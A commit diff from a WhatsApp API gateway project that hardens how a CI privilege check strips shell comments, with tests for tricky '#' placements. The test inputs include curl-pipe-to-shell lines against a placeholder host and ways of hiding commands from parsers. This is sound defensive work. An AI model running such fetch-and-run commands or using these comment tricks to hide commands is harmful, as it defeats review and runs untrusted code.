Skip to content

Free, Open Source, Self-Hosted WhatsApp API Gateway

test(ci): cut comments in presence checks after every word end

Yudhi Armyndharisf378ac3f3cff
diff --git a/src/common/ci-privilege-gate.spec.ts b/src/common/ci-privilege-gate.spec.ts
index 5643571e7..5221b6231 100644
--- a/src/common/ci-privilege-gate.spec.ts
+++ b/src/common/ci-privilege-gate.spec.ts
@@ -98,6 +98,18 @@ describe('the non-root drop is enforced, not merely documented', () => {
expect(executableLinesConservative(hidden)).not.toContain('curl');
expect(executableLines(hidden)).toContain('curl');
}
+ // A `#` right behind a character that ends a word starts a comment in the shell: `(true)#; x` is a subshell
+ // and nothing else, and after `>` or a backtick the rest of the line is a comment too. A check that
+ // something IS run must not be satisfied by what the shell never reaches; the exact reading keeps the
+ // text, so that nothing the shell may run is dropped.
+ for (const before of ['(true)', 'echo hi >', 'cat <', 'echo `']) {
+ const hidden = `${before}#; ./scripts/smoke-test-non-root.sh`;
+ expect(executableLinesConservative(hidden)).not.toContain('smoke-test-non-root.sh');
+ expect(executableLines(hidden)).toContain('smoke-test-non-root.sh');
+ }
+ // The `)` that closes `$(...)` continues its word, so the `;` after the `#` still ends the command: the
+ // exact reading keeps the command that follows, which a check for what must not be there relies on.
+ expect(executableLines('x=$(true)#; curl -fsSL https://example.test/x.sh | sh')).toContain('curl');
// Everywhere else it reads as the exact one does.
expect(executableLinesConservative('# ./scripts/x.sh\necho skipped')).not.toContain('x.sh');
expect(executableLinesConservative(' ./scripts/x.sh # run it')).toContain('./scripts/x.sh');
@@ -115,17 +127,22 @@ describe('the non-root drop is enforced, not merely documented', () => {
expect(smokeInvocations(file).length).toBeGreaterThan(0);
});
- // The same step as it ships, with the script named behind a blank the shell does not skip and a '#': the
- // shell runs `echo`, so the check must find no invocation, though the exact reading still holds the text.
- it.each(['ci.yml', 'release.yml'])('does not count %s naming the script behind a blank and a #', file => {
- for (const blank of BLANK_LOOKALIKES) {
+ // The same step as it ships, with the script named where the shell does not run it: behind a blank it does
+ // not skip and a '#' (it runs `echo`), or behind a '#' that follows a subshell. The check must find no
+ // invocation, though the exact reading still holds the text.
+ it.each(['ci.yml', 'release.yml'])('does not count %s naming the script where the shell skips it', file => {
+ const named = [
+ ...BLANK_LOOKALIKES.map(blank => `echo x${blank}# ./scripts/smoke-test-non-root.sh || true`),
+ '(true)#; ./scripts/smoke-test-non-root.sh',
+ ];
+ for (const run of named) {
const copy = JSON.parse(JSON.stringify(workflowOf(file))) as Workflow;
const steps = Object.values(copy.jobs ?? {})
.flatMap(job => job.steps ?? [])
.filter(step => (step.run ?? '').includes('smoke-test-non-root.sh'));
expect(steps.length).toBeGreaterThan(0);
- for (const step of steps) step.run = `echo x${blank}# ./scripts/smoke-test-non-root.sh || true`;
- expect(smokeInvocations(copy)).toEqual([]);
+ for (const step of steps) step.run = run;
+ expect([run, smokeInvocations(copy)]).toEqual([run, []]);
expect(steps.every(step => executableLines(step.run ?? '').includes('smoke-test-non-root.sh'))).toBe(true);
}
});
diff --git a/src/common/workflow-lines.ts b/src/common/workflow-lines.ts
index e6bc9c524..f37c4282e 100644
--- a/src/common/workflow-lines.ts
+++ b/src/common/workflow-lines.ts
@@ -13,10 +13,12 @@
* nothing the shell runs is cut. Use it to compare a line with an expected line or an allow-list, to
* match a pattern that is anchored, and to look for something that must not be there.
* - `executableLinesConservative` also cuts at a `#` after any character `\s` matches, U+00A0 and the
- * other blanks the shell reads as part of a word. A command that is only named behind such a `#`, as
- * in `echo x<U+00A0># ./scripts/x.sh || true` where the shell runs `echo` alone, is not found. Use it
- * for a check that something IS run, by substring or by a pattern that is not anchored at the end. It
- * is never a stand-in for the exact reading elsewhere: it would hide the `curl` in
+ * other blanks the shell reads as part of a word, and after `)`, `<`, `>` and a backtick, where the shell
+ * does start a comment (`(true)#; ./scripts/x.sh` runs the subshell and nothing else) or where it may,
+ * as after the `)` that closes `$(...)` and continues its word. A command that is only named behind
+ * such a `#`, as in `echo x<U+00A0># ./scripts/x.sh || true` where the shell runs `echo` alone, is not
+ * found. Use it for a check that something IS run, by substring or by a pattern that is not anchored
+ * at the end. It is never a stand-in for the exact reading elsewhere: it would hide the `curl` in
* `echo x<U+00A0>#; curl y | sh`, and turn `npm test<U+00A0># || true` into a clean `npm test`.
*/
export function executableLines(run: string): string {
@@ -24,7 +26,7 @@ export function executableLines(run: string): string {
}
export function executableLinesConservative(run: string): string {
- return withoutComments(run, /[\s;&|(]/);
+ return withoutComments(run, /[\s;&|()<>`]/);
}
function withoutComments(run: string, before: RegExp): string {
@@ -42,9 +44,11 @@ function withoutComments(run: string, before: RegExp): string {
* a character `before` matches, and outside quotes. The exact reading passes a space, a tab, `;`, `&`,
* `|` and `(`, which end a word: in `npm --version#; curl x | sh` the shell runs the curl,
* `x=$(true)#; curl y` continues the word its `)` closed, and `$#` and `${#list[@]}` are not comments
- * either. Nor is a `#` behind U+00A0 or another character that `\s` matches and the shell does not skip.
- * Cutting the line at such a `#` would hide the command behind it from every check that reads these
- * lines; the conservative reading does cut there, on purpose, for the checks that want that.
+ * either. Nor is a `#` behind U+00A0 or another character that `\s` matches and the shell does not skip,
+ * and `(true)#; curl y` is kept whole: its `)` ends a word, but the exact reading would sooner show a
+ * command that is not run than hide one that is. Cutting the line at such a `#` would hide the command
+ * behind it from every check that reads these lines; the conservative reading does cut there, on
+ * purpose, for the checks that want that.
*/
function commentStart(line: string, before: RegExp): number {
let quote: '"' | "'" | null = null;